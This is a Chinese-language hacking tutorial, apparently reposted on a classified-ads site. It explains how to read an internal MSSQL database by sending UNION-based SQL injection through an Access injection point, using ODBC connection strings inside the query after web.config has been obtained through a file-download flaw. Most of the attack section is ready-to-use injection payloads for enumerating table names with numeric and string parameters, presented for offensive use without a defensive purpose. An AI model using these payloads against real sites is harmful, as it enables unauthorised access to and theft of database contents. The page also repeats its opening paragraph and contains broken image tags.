您好,欢迎来到三六零分类信息网!老站,搜索引擎当天收录,欢迎发信息

黑客教你如何通过Access获取MSSQL数据

2024/5/11 13:35:04发布34次查看
首先说明一点,这个方法很早就有了,不过用时大概在脑袋里沉寂太久,已经处于忘却状态。感谢trace提供资料。经常会遇到任意文件下载漏洞,一般处理的方法是把 数据 库连接文件下载回来,然后远程连接上。 首先说明一点,这个方法很早就有了,不过用时大概在脑
首先说明一点,这个方法很早就有了,不过用时大概在脑袋里沉寂太久,已经处于忘却状态。感谢trace提供资料。经常会遇到任意文件下载漏洞,一般处理的方法是把数据库连接文件下载回来,然后远程连接上。
首先说明一点,这个方法很早就有了,不过用时大概在脑袋里沉寂太久,已经处于忘却状态。感谢trace提供资料。
经常会遇到任意文件下载漏洞,一般处理的方法是把数据库连接文件下载回来,然后远程连接上去。最理想的状态莫过于mssql和mysql,尤其是在数据库和web不分离的情况下,备分shell,导出shell,可以用的方法很多。
不过要是数据库和web分离,而且数据库在内网不可上网,或者有防火墙等等 其他手段使得我们无法连上远程数据库时,不妨假设的再艰难一些,甚至无法找到一个mssql注射点时,很多情况下通常会束手无策。
这里以 mssql为例子,很凑巧找到一个任意文件下载漏洞,直接下了web.config回来看,发现数据库在内网,找了半天没找到注射点,稍微旁注一下,有一个站,可惜是access数据库。猜不到表和后台。不过目标站的后台是知道的,然后准备从这个access注射点读出目标站管理员帐户。直观一些,下面直 接给出我本地测试结果:
黑客 src=http://cdn.verydemo.com/upload/2013_05_27/13696138223320.jpg border=0>
弄的简单一点,就3个字段,id,xm,xb,id数字型,后面2个字符型。
假设存在漏洞的文件中,执行sql语句 select * from test whrere id = 1
这里有3个字段,我们用union联合查询给他匹配一下就是(黑盒操作时用order by 或者穷举来确定字段个数)
select * from test where id=999999 union select top 1 1,2,name from [odbc;driver=sql server;uid=dbo;pwd=dba;server=*****;database=master].ku
这里的master库中我建立了一个名为ku的表,上面这个查询语句中,由于id=999999不存在,在联合查询的作用下,web上原本显示access数据库内容的位置显示出了我们构造的union查询结果,name字段处于一个字符型的显示位置。
黑客 src=http://cdn.verydemo.com/upload/2013_05_27/13696138224941.jpg border=0>
ku这个表里的name字段内容就会被显示在web上相应的位置,不过这个显然不是我们想要的,我们要的是整个表的结构和内容
以master为例子,这里是模拟的结果,事先我已经知道master的结构,待会方便和结果比对校验是否有错。
黑客 src=http://cdn.verydemo.com/upload/2013_05_27/13696138226552.jpg border=0>
select * from test where id=999999 union select top 1 1,2,table_name from [odbc;driver=sql server;uid=dbo;pwd=dba;server=*****;database=master].information_schema.tables
这样master库的第一个表名就出来了。
黑客 src=http://cdn.verydemo.com/upload/2013_05_27/13696138228173.jpg border=0>
获得后面的表名也很简单。
select * from test where id=999999 union select top 1 1,2,table_name from [odbc;driver=sql server;uid=dbo;pwd=dba;server=*****;database=master].information_schema.tables where table_name not in (select top 1 table_name from [odbc;driver=sql server;uid=dbo;pwd=dba;server=****;database=master].information_schema.tables)
黑客 src=http://cdn.verydemo.com/upload/2013_05_27/13696138229874.jpg border=0>
以次类以常规方法推取得字段名和字段内容,代码烦琐自行研究下。
如果数据库里的id是字符型,则
select * from test where id='999999' union select top 1 1,2,table_name from [odbc;driver=sql server;uid=dbo;pwd=dba;server=***;database=master].information_schema.tables where '1'='1'
该用户其它信息

VIP推荐

免费发布信息,免费发布B2B信息网站平台 - 三六零分类信息网 沪ICP备09012988号-2
企业名录 Product